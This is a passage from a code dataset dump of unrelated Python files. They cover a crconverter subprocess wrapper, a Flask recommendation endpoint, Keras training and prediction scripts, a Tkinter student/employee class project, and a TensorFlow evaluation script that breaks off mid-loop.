get_gem_group_index_json(args, outs)\n\n    call = [\"crconverter\",\n            args.sample_id,\n            args.pipestance_type,\n            \"--matrix\", args.feature_barcode_matrix,\n            \"--analysis\", args.analysis,\n            \"--output\", outs.output_for_cloupe,\n            \"--description\", '\"' + args.sample_desc + '\"',\n            \"--peaks\", args.peaks,\n            \"--fragmentsindex\", args.fragments_index,\n            \"--geneannotations\", reference.genes,\n            \"--contiginfo\", contig_info_fn,\n            ]\n\n    if args.metrics_json is not None:\n        call.extend([\"--metrics\", args.metrics_json])\n    if args.aggregation_csv is not None:\n        call.extend([\"--aggregation\", args.aggregation_csv])\n    if gem_group_index_json is not None:\n        call.extend([\"--gemgroups\", gem_group_index_json])\n    transcript_gene_types = get_annotation_gene_types(args)\n    if transcript_gene_types is not None:\n        call.extend([\"--geneannotationtypes\", \",\".join(transcript_gene_types)])\n\n    # the sample desc may be unicode, so send the whole\n    # set of args str utf-8 to check_output\n    unicode_call = [arg.encode('utf-8') for arg in call]\n\n    # but keep the arg 'call' here because log_info inherently\n    # attempts to encode the message... (TODO: should log_info\n    # figure out the encoding of the input string)\n    martian.log_info(\"Running crconverter: %s\" % \" \".join(call))\n    try:\n        results = tk_subproc.check_output(unicode_call)\n        martian.log_info(\"crconverter output: %s\" % results)\n    except subprocess.CalledProcessError as e:\n        outs.output_for_cloupe = None\n        martian.throw(\"Could not generate .cloupe file: \\n%s\" % e.output)\n","sub_path":"mro/atac/stages/cloupe/atac_cloupe_preprocess/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"113614360","text":"# -*- coding: utf-8 -*-\n\n\nfrom flask import Flask, request, jsonify\n\nfrom handlers import MultiprocessingFileReader\n\napp = Flask(__name__)\n\n\n@app.route('/recommendations', methods=[\"GET\"])\ndef get_recommendations():\n    \"\"\"\n        GET эндпоинт для получения списка рекомендаций\n        sku - идентификатор товарной позиции\n        coef - показатель совпадения, по умолчанию 0\n        :return - список рекомендаций в формате json\n\n        {\n            \"sku\" : {идентификатор товарной позиции} => string,\n            \"recommends_coef\" : {показатель совпадения} => number,\n            \"recommends_list\" : {список подходящих товаров} => array\n        }\n    \"\"\"\n\n    sku = request.args.get('sku', type=str)\n    coef = request.args.get('coef', type=float)\n\n    if coef is None:\n        coef = 0\n    try:\n        recommends = MultiprocessingFileReader(sku=sku, coef=coef)\n        recommends_list = recommends.run()\n    except FileNotFoundError as err:\n        recommends_list = None\n        print(f'для работы endpoint\\'a, нужно приложить файл с названием \\'recommends.csv\\' в папку с проектом\\n'\n              f'{err}')\n\n    return jsonify(\n        sku=sku,\n        recommends_coef=coef,\n        recommends_list=recommends_list\n    )\n\n\nif __name__ == '__main__':\n    app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"318257632","text":"import numpy as np\nimport scipy.io as sc\nimport scipy.stats as st\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport matplotlib.pyplot as plt\n\n\n# A function that converts one-hot encoding to original labels\n# Inputs: vec - a one-hot encoded vector\n# Outputs: an integer corresponding to the one-hot encoded vector\ndef to_label(vec):\n    out = []\n    for ii in range(len(vec)):\n        label = np.where(vec[ii] == 1)\n        out.append(label[0][0] + 1)\n    return out\n\n\n# A function that converts model prediction into original labels\n# Inputs: vec - output matrix of the ANN model for the testing samples, with each element indicating the probability\n#               of each label being the answer\n# Outputs: a vector of predictions, with each element being the predicted label of each testing sample\ndef convert_preds(vec):\n    out = []\n    for ii in range(len(vec)):\n        label = np.argmax(vec[ii]) + 1\n        out.append(label)\n    return out\n\n\n# Load the input cell array\ninputs = sc.loadmat('sample_feats_update.mat', squeeze_me=True)\ninputs = inputs['dataset']\nx = np.asarray(inputs[0])\n# Leave out some features for better performance\nx = x[:, 14:73]\nlabels = np.asarray(inputs[1])\ny = labels[:, 0] - 1\n\n# Apply normalization to input data\nx = st.zscore(x, axis=0)\n\n# Apply one-hot encoding to labels\ny = np_utils.to_categorical(y)\n\n# Patient to be used for testing (starts at 1)\n# num = 1\n# test_idx = np.where(labels[:, 1] == num)\n\n# Choose indices for training and testing\ntest_idx = np.random.choice(np.arange(np.size(x, axis=0)), size=50, replace=False)\ntest_mask = np.zeros(np.size(x, axis=0), dtype=bool)\ntest_mask[test_idx] = True\n\n\n# Assign training and testing data/labels\ntrain_x = x[~test_mask][:]\ntrain_y = y[~test_mask]\ntest_x = x[test_mask][:]\ntest_y = y[test_mask]\n\n# Define keras model\nmodel = Sequential()\nmodel.add(Dense(40, input_dim=np.size(x, axis=1), activation='relu'))\nmodel.add(Dense(10, activation='relu'))\nmodel.add(Dense(5, activation='softmax'))\n\n# Compile the model\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# Train the model\nhistory = model.fit(train_x, train_y, epochs=30, batch_size=1)\n\n# Test the model\n_, acc = model.evaluate(test_x, test_y, verbose=1)\n\n# Return predictions\npred = model.predict(test_x, verbose=1)\npred = np.asarray(pred)\nprint(pred)\nprint(pred.shape)\nprint(\"Predicted labels: \", convert_preds(pred))\nnp.save(\"model_predictions_update.npy\", convert_preds(pred))\nprint(\"Actual labels:    \", to_label(test_y))\nnp.save(\"model_testLabels_update.npy\", to_label(test_y))\nprint(\"Overall model accuracy: \", acc)\n\n# Save the model\nmodel.save('model_update.h5')\n\n# Plot training & validation accuracy values\nplt.plot(history.history['acc'], 'b')\n# plt.plot(history.history['val_acc'])\nplt.title('Training accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\n# plt.legend(['Train', 'Test'], loc='upper left')\nplt.show()\n\n# Plot training & validation loss values\nplt.plot(history.history['loss'], 'r')\n# plt.plot(history.history['val_loss'])\nplt.title('Training loss')\nplt.ylabel('Loss')\nplt.xlabel('Epoch')\n# plt.legend(['Train', 'Test'], loc='upper left')\nplt.show()\n","sub_path":"model/train_model_ANN.py","file_name":"train_model_ANN.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"426542500","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom tkinter.colorchooser import *\nfrom tkinter import scrolledtext\nimport json\nimport ast\n\nclass Person:\n    def __init__(self,name,address):\n        self._name=name\n        self._address=address\n    def getName(self):\n        return self._name\n    def setName(self,newName):\n        self._name=newName\n    def getAddress(self):\n        return self._address\n    def setAddress(self,newAddress):\n        self._address=newAddress\n    def __del__(self):\n        print (\"I have been deleted\")\n        \nclass Student(Person):\n    \n    def __init__(self,name,address,stNumber,Subject,Marks):\n        super().__init__(name,address)\n        self.stNumber=stNumber\n        self.__Subject=Subject\n        self.__Marks=Marks\n        \n    def getAMarks(self):\n        output = self.getName()+\"=> \"\n        for key , value in self.__Marks.items():\n            if value >= 90:\n                output +=str(key)+\"=\"+ str(value) + \",\"\n                \n        return output\n        \n    def getSubject(self):\n        return self.__Subject\n    \n    def setSubject(self,newSub):\n         self.__Subject=newSub\n    \n    def getMarks(self):\n        print(\"MARKS:\\n\")\n        for x,y in self.__Marks.items():\n            print ( str(x) +\" = \"+ str(y)+\"%\")\n        return \"\"\n    \n\n    \n    def setMarks(self,newMarks):\n        self.__Marks=newMarks\n    \n    def getAverage(self):\n        #(\"Student average:\")\n        length=len(self.__Marks)\n        re=sum(self.__Marks.values())\n        avg=re/length\n        return avg\n     \n    def printfunction(self):\n        #return( \"student information:\\nstudent number:\"+str(self.stNumber)+\"\\nName:\"+self._name+\"\\nAddress: \"+self._address+\"\\nSubject: \"+self.__Subject)\n        print(\"student information:\\nstudent number:\"+str(self.stNumber))    \n        print(\"Name:\"+self._name)\n        print(\"Address: \"+self._address)\n        print(\"Subject: \"+self.__Subject)\n        print(self.getMarks())\n        print(\"Student average:\",self.getAverage())\n        return ''\n    def __del__(self):\n        print(\"I have been deleted\")   \n\nclass Employee(Person):\n    def __init__(self,name,address,number,salary,job,loans=[]):\n        super().__init__(name,address)\n        try:\n            self.number=int(number)\n        except ValueError:\n            print(\"Employee Number Must be a number!\")\n        try:\n            self.__salary=(float(salary))\n        except ValueError:\n            print(\"Salary must be a number\")\n        try:\n            self.__job=str(job)\n        except:\n            print(\"Job must be a string!\")\n        try:\n            self.__loans=list(loans)\n        except ValueError:\n            print(\"Loans Must be a list\")\n    def getSalary(self):\n        return self.__salary\n    def setSalary(self,newSalary):\n        try:\n            self.__salary=float(newSalary)\n        except ValueError:\n            print(\"New Salary must be a number!\")\n    def getJob(self):\n        return self.__job\n    def setJob(self,newJob):\n        try:\n            self.__job=str(newJob)\n        except ValueError:\n            print(\"Job Title must be a string\")\n    def getLoans(self):\n        return self.__loans\n    def getTotalLoans(self):\n        return sum(self.__loans)\n    def getMaxLoan(self):\n        return max(self.__loans)\n    def getMinLoan(self):\n        return min(self.__loans)\n    def setLoans(self,newListOfLoans):\n        try:\n            self.__loans=list(newListOfLoans)\n        except ValueError:\n            print(\"List of Loans must be a LIST\")\n    def printInfo(self):\n        print(\"Name:\",self._name)\n        print(\"Address:\",self._address)\n        print(\"Employee Number:\",self.number)\n        print(\"Salary:\",self.__salary)\n        print(\"Job Title:\",self.__job)\n        print(\"Loans List:\",self.getLoans())\n        print(\"Total Loans:\",self.getTotalLoans(),\"JD\")\n        return \"--------\"\n    def __del__(self):\n        print(\"I have been deleted ;(\")        \n    \n#        \n#student1=Student(\"Khalid Ali\",\"Irbid, Jordan\",20191000,\"History\",{'English':80,'Arabic':90,'Art':95,'Managemet':75}) \n#student2=Student(\"Reem Hani\",\"Zarqa, Jordan\",20182000,\"Software Eng\",{'English':80,'Arabic':90,'Managemet':75,'Calculus':85,'OS':73,'Programming':90})\n#student3=Student(\"Nawras Abdullah\",\"Amman, Jordan\",20161001,\"Arts\",{'English':83,'Arabic':92,'Art':90,'Managemet':70})\n#student4=Student(\"Amal Raed\",\"Tafelah, Jordan\",20172030,\"Computer Eng\",{'English':83,'Arabic':92,'Managemet':70,'Calculus':80,'OS':79,'Programming':91})\n#  \n#print(student1.getAddress())\n#print(student1.getAverage())\n#student1.printfunction()\n##Q2\n#studentList=[student1,student2,student3,student4]\nstudentList=[]\nemployeesList=[]\n##Q4\n#print(\"Total Number of Students = \"+str(len(studentList)))\n##6\n#for n in studentList:\n#    print (n.printfunction())   \n##Q7    \n#allAvg=[]\n#for n in studentList:      \n#    from functools import reduce \n#    allAvg.append(n.getAverage())    \n#    highest=reduce(lambda a,b: a if a>b else b,allAvg)    \n#print (\"highest avg=\",highest)\n#\n##Q13\n#for n in studentList:  \n#    print(n.getAMarks())\n##Q17\n#for n in studentList:    \n#    n.__del__()\n#\n#employee1=Employee(\"Ahmad Yazan\",\"Amman, Jordan\",1000,500,\"HR Consultant\",[434,200,1020])\n#employee2=Employee(\"Hala Rana\",\"Aqaba, Jordan\",2000,750,\"Department Manger\",[150,3000,250])\n#employee3=Employee(\"Mariam Ali\",\"Mafraq, Jordan\",3000,600,\"HR S Consultant\",[304,1000,250,300,500,235])\n#employee4=Employee(\"Yasmeen Mohammad\",\"Karak, Jordan\",4000,865,\"Director\",[])\n#employeesList=[employee1,employee2,employee3,employee4]\n#print(\"Total Number Of Employees:\",len(employeesList))\n#for x in employeesList:\n#    print (x.printInfo())\n#loans=[]\n#loansDict={}\n#salaries=0\n#for x in employeesList:\n#    loans.extend(x.getLoans())\n#    loansDict.update({str(x.number):x.getLoans()})\n#    salaries+=x.getSalary()\n#print('Minimum Loan:',min(loans),\"JD\")\n#print('Maximum Loan:',max(loans),\"JD\")\n#print(\"--------\")\n#for x in employeesList:\n#    print(x.getName(),\"Loans= \",x.getLoans(),\"Total: \",x.getTotalLoans(),\"JD\")\n#print(\"--------\")\n#print(\"Total Loans Given:\",sum(loans),\"JD\")\n#print(\"--------\")\n#print (loansDict)\n#print(\"-------- \")\n#def highestLowest():\n#    print(\"Employee1's Highest Loan:\",reduce(lambda a,b:(a if a>b else b),loansDict[\"1000\"]))\n#    print(\"Employee1's Lowest Loan:\",reduce(lambda a,b:(a if a<b else b),loansDict[\"1000\"]))\n#    print(\"Employee2's Highest Loan:\",reduce(lambda a,b:(a if a>b else b),loansDict[\"2000\"]))\n#    print(\"Employee2's Lowest Loan:\",reduce(lambda a,b:(a if a<b else b),loansDict[\"2000\"]))\n#    print(\"Employee3's Highest Loan:\",reduce(lambda a,b:(a if a>b else b),loansDict[\"3000\"]))\n#    print(\"Employee3's Lowest Loan:\",reduce(lambda a,b:(a if a<b else b),loansDict[\"3000\"]))\n#    print(\"Employee4 has no loans\")\n#highestLowest()\n#print(\"--------\")\n#print(\"Highest Salary:\",max(loans),\"JD\")\n#print(\"Lowest Salary:\",min(loans),\"JD\")\n#print(\"--------\")\n#print(\"Employess's total salaries per month is:\",salaries,\"JD\")\n\n\n\n# =============================================================================\n# root = Tk(className=\"My first GUI\")\n# screen_width= root.winfo_screenwidth()\n# screen_height= root.winfo_screenheight()\n# root.geometry(str(int(screen_width/2))+\"x\"+str(int(screen_height/2))+\"+450+250\")\n# \n# =============================================================================\n\nwin = Tk(className=\"Input\")\n\ndef openmsg():\n    c2=Toplevel(win)\n    c2.title(\"Report\")\n    text=scrolledtext.ScrolledText(c2,width=100,height=45)\n    text.insert(END,\"\"\"\nIrbid, Jordan\n85.0\nstudent information:\nstudent number:20191000\nName:Khalid Ali\nAddress: Irbid, Jordan\nSubject: History\nMARKS:\n\nEnglish = 80%\nArabic = 90%\nArt = 95%\nManagemet = 75%\n\nStudent average: 85.0\nTotal Number of Students = 4\nstudent information:\nstudent number:20191000\nName:Khalid Ali\nAddress: Irbid, Jordan\nSubject: History\nMARKS:\n\nEnglish = 80%\nArabic = 90%\nArt = 95%\nManagemet = 75%\n\nStudent average: 85.0\n\nstudent information:\nstudent number:20182000\nName:Reem Hani\nAddress: Zarqa, Jordan\nSubject: Software Eng\nMARKS:\n\nEnglish = 80%\nArabic = 90%\nManagemet = 75%\nCalculus = 85%\nOS = 73%\nProgramming = 90%\n\nStudent average: 82.16666666666667\n\nstudent information:\nstudent number:20161001\nName:Nawras Abdullah\nAddress: Amman, Jordan\nSubject: Arts\nMARKS:\n\nEnglish = 83%\nArabic = 92%\nArt = 90%\nManagemet = 70%\n\nStudent average: 83.75\n\nstudent information:\nstudent number:20172030\nName:Amal Raed\nAddress: Tafelah, Jordan\nSubject: Computer Eng\nMARKS:\n\nEnglish = 83%\nArabic = 92%\nManagemet = 70%\nCalculus = 80%\nOS = 79%\nProgramming = 91%\n\nStudent average: 82.5\n\nhighest avg= 85.0\nKhalid Ali=> Arabic=90,Art=95,\nReem Hani=> Arabic=90,Programming=90,\nNawras Abdullah=> Arabic=92,Art=90,\nAmal Raed=> Arabic=92,Programming=91,\nI have been deleted\nI have been deleted\nI have been deleted\nI have been deleted\nTotal Number Of Employees: 4\nName: Ahmad Yazan\nAddress: Amman, Jordan\nEmployee Number: 1000\nSalary: 500.0\nJob Title: HR Consultant\nLoans List: [434, 200, 1020]\nTotal Loans: 1654 JD\n--------\nName: Hala Rana\nAddress: Aqaba, Jordan\nEmployee Number: 2000\nSalary: 750.0\nJob Title: Department Manger\nLoans List: [150, 3000, 250]\nTotal Loans: 3400 JD\n--------\nName: Mariam Ali\nAddress: Mafraq, Jordan\nEmployee Number: 3000\nSalary: 600.0\nJob Title: HR S Consultant\nLoans List: [304, 1000, 250, 300, 500, 235]\nTotal Loans: 2589 JD\n--------\nName: Yasmeen Mohammad\nAddress: Karak, Jordan\nEmployee Number: 4000\nSalary: 865.0\nJob Title: Director\nLoans List: []\nTotal Loans: 0 JD\n--------\nMinimum Loan: 150 JD\nMaximum Loan: 3000 JD\n--------\nAhmad Yazan Loans=  [434, 200, 1020] Total:  1654 JD\nHala Rana Loans=  [150, 3000, 250] Total:  3400 JD\nMariam Ali Loans=  [304, 1000, 250, 300, 500, 235] Total:  2589 JD\nYasmeen Mohammad Loans=  [] Total:  0 JD\n--------\nTotal Loans Given: 7643 JD\n--------\n{'1000': [434, 200, 1020], '2000': [150, 3000, 250], '3000': [304, 1000, 250, 300, 500, 235], '4000': []}\n-------- \nEmployee1's Highest Loan: 1020\nEmployee1's Lowest Loan: 200\nEmployee2's Highest Loan: 3000\nEmployee2's Lowest Loan: 150\nEmployee3's Highest Loan: 1000\nEmployee3's Lowest Loan: 235\nEmployee4 has no loans\n--------\nHighest Salary: 3000 JD\nLowest Salary: 150 JD\n--------\nEmployess's total salaries per month is: 2715.0 JD\"\"\")\n    text.grid()\n    \nstudentList.append(Student('Elias','Irbid',1,'English',{'English':80,'Arabic':90,'Art':95,'Managemet':75}))\nstudentList.append(Student(\"Yasmin\",\"Amman\",2,\"Computer Science\",{'English':80,'Arabic':90,'Art':95,'Managemet':75}) )\nstudentList.append(Student(\"Nada\",\"Amman\",3,\"Management\",{'English':80,'Arabic':90,'Art':95,'Managemet':75}) )\nstudentList.append(Student(\"ja3far\",\"Aqaba\",4,\"Arabic\",{'English':80,'Arabic':90,'Art':95,'Managemet':75}) )\n\n\nemployeesList.append(Employee(\"Ahmad Yazan\",\"Amman, Jordan\",1000,500,\"HR Consultant\",[434,200,1020]))\nemployeesList.append(Employee(\"Hala Rana\",\"Aqaba, Jordan\",2000,750,\"Department Manger\",[150,3000,250]))\nemployeesList.append(Employee(\"Mariam Ali\",\"Mafraq, Jordan\",3000,600,\"HR S Consultant\",[304,1000,250,300,500,235]))\n    \ndef addObj():\n#    lmao=Student(name.get(),address.get(),stNumber.get(),subject.get(),marks.get()) \n#    lmao.append(studentList)\n    studentList.append(Student(name.get(),address.get(),stNumber.get(),subject.get(),ast.literal_eval(marks.get())) )\n#    {'English':80,'Arabic':90,'Art':95,'Managemet':75}\n    for i in studentList:\n        print (i.getName())\n        \n        \n    \nname=StringVar()\naddress=StringVar()\nstNumber=IntVar()\nsubject=StringVar()\nmarks=StringVar()\nloansVar=StringVar()\n\ndef addStudent():\n    add=Toplevel(win)\n    add.title(\"Add Student\")\n    \n    nameInput=Entry(add,textvariable=name)\n    nameInput.grid(row=0,column=1)\n    Label(add,text=\"Name\").grid(row=0,sticky=E)\n\n    addressInput=Entry(add,textvariable=address)\n    addressInput.grid(row=1,column=1)\n    Label(add,text=\"Address\").grid(row=1,sticky=E)\n    \n    stNumberInput=Entry(add,textvariable=stNumber)\n    stNumberInput.grid(row=2,column=1)\n    Label(add,text=\"Student Number\").grid(row=2,sticky=E)\n    \n    subjectInput=Entry(add,textvariable=subject)\n    subjectInput.grid(row=3,column=1)\n    Label(add,text=\"Subject\").grid(row=3,sticky=E)\n    \n    marksInput=Entry(add,textvariable=marks)\n    marksInput.grid(row=4,column=1)\n    Label(add,text=\"Marks\").grid(row=4,sticky=E)\n    Button(add,text=\"Add\",command=addObj).grid(row=5,column=1)\n    \n    \ndef deleteStudent(x):\n#    for i,e in enumerate(studentList):\n#        if e.stNumber == x:\n#           del studentList[i]\n    answer = messagebox.askquestion(\"Delete Student\",\"Are you sure you want to delete Student?\")\n    if answer == \"yes\":\n        for i,e in enumerate(studentList):\n            if e.stNumber == x:\n                del studentList[i]\n\ndef deleteEmpp(x):\n    answer = messagebox.askquestion(\"Delete Student\",\"Are you sure you want to delete Student?\")\n    if answer == \"yes\":\n        for i,e in enumerate(employeesList):\n            if e.number == x:\n                del employeesList[i]\n\ndef deleteEmp():\n    delete=Toplevel(win)\n    delete.title(\"Delete Employee\")\n    for i in employeesList:\n        Label(delete,text=\"Name: \"+i.getName()+\"  |  \"+\" Job: \"+str(i.getJob())).pack()\n        Button(delete,text=\"Delete Employee\",command=lambda a=i.number : deleteEmpp(a)).pack(pady=10)\n    \n    \ndef viewStudents():\n    view=Toplevel(win)\n    view.title(\"View Students\")\n    \n    for i in studentList:\n        Label(view,text=\"Name: \"+i.getName()+\"  |  \"+\" Average: \"+str(i.getAverage())).pack()\n        \ndef deleteWindow():\n    delete=Toplevel(win)\n    delete.title(\"Delete Student\")\n    for i in studentList:\n        Label(delete,text=\"Name: \"+i.getName()+\"  |  \"+\" Average: \"+str(i.getAverage())).pack()\n        Button(delete,text=\"Delete Student\",command=lambda a=i.stNumber : deleteStudent(a)).pack(pady=10)\n\ndef addEmpf():\n     employeesList.append(Employee(name.get(),address.get(),stNumber.get(),subject.get(),marks.get(),loansVar.get())) \n\n\ndef viewEmp():\n    view=Toplevel(win)\n    view.title(\"View Employees\")\n    \n    for i in employeesList:\n        Label(view,text=\"Name: \"+i.getName()+\"  |  \"+\" Job: \"+str(i.getJob())).pack()\n\ndef addEmp():\n    add=Toplevel(win)\n    add.title(\"Add Employee\")\n    \n    nameInput=Entry(add,textvariable=name)\n    nameInput.grid(row=0,column=1)\n    Label(add,text=\"Name\").grid(row=0,sticky=E)\n\n    addressInput=Entry(add,textvariable=address)\n    addressInput.grid(row=1,column=1)\n    Label(add,text=\"Address\").grid(row=1,sticky=E)\n    \n    stNumberInput=Entry(add,textvariable=stNumber)\n    stNumberInput.grid(row=2,column=1)\n    Label(add,text=\"Number\").grid(row=2,sticky=E)\n    \n    subjectInput=Entry(add,textvariable=subject)\n    subjectInput.grid(row=3,column=1)\n    Label(add,text=\"Salary\").grid(row=3,sticky=E)\n    \n    marksInput=Entry(add,textvariable=marks)\n    marksInput.grid(row=4,column=1)\n    Label(add,text=\"Job\").grid(row=4,sticky=E)\n    Button(add,text=\"Add\",command=addEmpf).grid(row=6,column=1)\n\n    subjectInput=Entry(add,textvariable=loansVar)\n    subjectInput.grid(row=5,column=1)\n    Label(add,text=\"Loans\").grid(row=5,sticky=E)\n\n\ndef clicked():\n    messagebox.showinfo('Help','OOP second Project')\n    \ntop=Menu(win)\nwin.config(menu=top)\nscreen_width= win.winfo_screenwidth()\nscreen_height= win.winfo_screenheight()\nwin.geometry(str(int(screen_width/2))+\"x\"+str(int(screen_height/2))+\"+450+250\")\n\nfile = Menu(top,tearoff=0)\nfile.add_command(label=\"Report\",command=openmsg)\nfile.add_separator()\nfile.add_command(label=\"Exit\",command=win.destroy)\ntop.add_cascade(label=\"File\",menu=file)\n\nemp= Menu(top,tearoff=0)\nemp.add_command(label=\"Add\",command=addEmp)\nemp.add_command(label=\"View\",command=viewEmp)\nemp.add_command(label=\"Delete\",command=deleteEmp)\ntop.add_cascade(label=\"Employees\",menu=emp)\n\nst= Menu(top,tearoff=0)\nst.add_command(label=\"Add\",command=addStudent)\nst.add_command(label=\"View\",command=viewStudents)\nst.add_command(label=\"Delete\",command=deleteWindow)\ntop.add_cascade(label=\"Students\",menu=st)\n\nhlp= Menu(top,tearoff=0)\nhlp.add_command(label=\"About\",command=clicked)\ntop.add_cascade(label=\"Help\",menu=hlp)\n\nwin.mainloop()\n\n#c='{\"English\":80,\"Arabic\":90,\"Art\":95,\"Management\":75}'\n#e = json.loads(c)\n#print(e)\n","sub_path":"Day-12-excersice/Project_2.py","file_name":"Project_2.py","file_ext":"py","file_size_in_byte":16237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"599810691","text":"import os\nfrom PIL import Image\nimport numpy as np\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.optimizers import SGD, RMSprop, Adam\nfrom keras.layers import Conv2D, MaxPooling2D\nimport keras\n\n\n# 找到所需要的图像文件并进行格式转换\ndef prepicture(picname):\n    # 此处找到图片，picname即为文件名字，需要将前面的改成我们的文件路径\n    img = Image.open('./' + picname)\n    new_img = img.resize((100, 100), Image.BILINEAR)\n    new_path = os.path.join('./backend/AI_module/test/', os.path.basename(picname))\n    new_img.save(new_path)\n    return new_path\n\n\n# 读取转换后的文件\ndef read_image2(path):\n    img = Image.open(path).convert('RGB')\n    return np.array(img)\n\n\n# view里面调用该方法即可获得分数\ndef predict_picture(picname):\n    # 预处理图片 变成100 x 100\n    new_path = prepicture(picname)\n    x_test = []\n\n    x_test.append(read_image2(new_path))\n\n    x_test = np.array(x_test)\n\n    x_test = x_test.astype('float32')\n    x_test /= 255\n\n    keras.backend.clear_session()  # 清理session反复识别注意\n    # 构建模型\n    model = Sequential()\n    model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(100, 100, 3)))\n    model.add(Conv2D(32, (3, 3), activation='relu'))\n    model.add(MaxPooling2D(pool_size=(2, 2)))\n    model.add(Dropout(0.25))\n\n    model.add(Conv2D(64, (3, 3), activation='relu'))\n    model.add(Conv2D(64, (3, 3), activation='relu'))\n    model.add(MaxPooling2D(pool_size=(2, 2)))\n    model.add(Dropout(0.25))\n\n    model.add(Flatten())\n    model.add(Dense(256, activation='relu'))\n    model.add(Dropout(0.5))\n    model.add(Dense(2, activation='softmax'))\n\n    sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\n    model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n    # 加载权重\n    model.load_weights('./backend/AI_module/model/weights.h5')\n    # 进行预测\n    classes = model.predict_classes(x_test)[0]\n    if classes == 0:\n        return 0\n    else:\n        return 1\n    # target = ['非立方体', '立方体']\n    # print(target[classes])\n\n\n# if __name__ == '__main__':\n#     print(predict_picture('test5.png'))\n","sub_path":"backend/AI_module/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"582553567","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport math\nfrom nets import PathNet\nimport tf_utils\nimport numpy as np\nimport tensorflow as tf\n\nFLAGS = tf.app.flags.FLAGS\n\n# Fold is one of five folds cross-validation. \n#Fold = 2\n# =========================================================================== #\n# Evaluation Flags.\n# =========================================================================== #\ntf.app.flags.DEFINE_string(\n    'Fold', '1', 'Flod of 5-fold cross validation.')\n\n\ntf.app.flags.DEFINE_string(\n    'eval_dir', 'tmp/tfmodels_gan_lstm_%s/'%FLAGS.Fold, 'Directory where the results are saved to.')\n\ntf.app.flags.DEFINE_string('checkpoint_dir', 'tmp/tfmodels_gan_lstm_%s/'%FLAGS.Fold,\n                           \"\"\"Directory where to read model checkpoints.\"\"\")\n\ntf.app.flags.DEFINE_integer('eval_interval_secs', 60 * 5,\n                            \"\"\"How often to run the eval.\"\"\")\n\n\ntf.app.flags.DEFINE_boolean('run_once', False,\n                         \"\"\"Whether to run eval only once.\"\"\")\n\n# =========================================================================== #\n# Dataset Flags.\n# =========================================================================== #\n\ntf.app.flags.DEFINE_string(\n    'dataset_name', 'spine_segmentation', 'The name of the dataset to load.')\ntf.app.flags.DEFINE_integer(\n    'num_classes', 2, 'Number of classes to use in the dataset.')\ntf.app.flags.DEFINE_string(\n    'dataset_split_name', 'test_%s_fold'%FLAGS.Fold, 'The name of the train/test split and five folds.')\ntf.app.flags.DEFINE_string(\n    'dataset_dir', './datasets/tfrecords_spine_segmentation/', 'The directory where the dataset files are stored.')\ntf.app.flags.DEFINE_integer(\n    'batch_size', 29, 'The number of samples in each batch.')\ntf.app.flags.DEFINE_integer(\n    'num_samples', 58, 'The number of samples in the testing set.')\ntf.app.flags.DEFINE_integer(\n    'num_readers', 10,\n    'The number of parallel readers that read data from the dataset.')\ntf.app.flags.DEFINE_integer(\n    'num_preprocessing_threads', 8,\n    'The number of threads used to create the batches.')\n\n\n\ndef main(_):\n    \n    if not FLAGS.dataset_dir:\n        \n            raise ValueError('You must supply the dataset directory with --dataset_dir')\n            \n    with tf.Graph().as_default():\n        \n        # Select the dataset.\n        dataset = FLAGS.dataset_dir + '%s_%s.tfrecord' %(FLAGS.dataset_name,FLAGS.dataset_split_name) \n        \n        with tf.name_scope('input'):\n            \n            filename_queue = tf.train.string_input_producer([dataset], num_epochs= 1)\n            \n            image, mask_class = tf_utils.read_and_decode_for_lstm(filename_queue, batch_size = FLAGS.batch_size,capacity=20 * FLAGS.batch_size,num_threads=FLAGS.num_readers,min_after_dequeue=10 * FLAGS.batch_size, is_training=False)\n            \n        fc_2 = PathNet.motion_feature_fusion_extraction_regression(image, batch_size=FLAGS.batch_size, reuse=False,is_training=False)  \n\n\n        pred = fc_2\n\n        gt = mask_class\n        \n                   \n        init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n        \n        \n        sess = tf.Session()\n\n        sess.run(init_op)\n        \n        \n\n        loader = tf.train.Saver()\n\n        coord = tf.train.Coordinator()\n        threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n        \n        ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n        \n        if ckpt and ckpt.model_checkpoint_path:\n            # Restores from checkpoint\n            loader.restore(sess, ckpt.model_checkpoint_path)\n            print(\"Restored model parameters from {}\".format(ckpt))\n        else: \n            print('No checkpoint file found')\n            \n        num_iter = int(math.ceil(FLAGS.num_samples / FLAGS.batch_size))\n\n        # Iterate over training steps.\n        for step in range(num_iter):\n    \n            images,preds,gts = sess.run([image,pred,gt])\n            print(\"shape:\" + str(gts.shape) + str(preds.shape) + str(images.shape))\n            a_max = 0.0\n            for i in range(29):\n                a = gts[i] - preds[i]\n                print(\"gts-preds = \" + str(a) + str(step))\n                if a < 0:\n                    a = -a\n                a_max = a_max + a\n            print(\"a_max:\" + str(a_max))\n            a_avg = a_max / 29\n\n            std = 0.0\n            print(\"a_avg:\" + str(a_avg))\n            for j in range(29):\n                a = gts[j] - preds[j]\n                b = (a_avg - a) * (a_avg - a)\n                std = std + b\n            std = std / (29 - 1)\n            std = math.sqrt(std)\n            print(\"std:\" + str(std))\n            \n            gts_max = 0.0\n           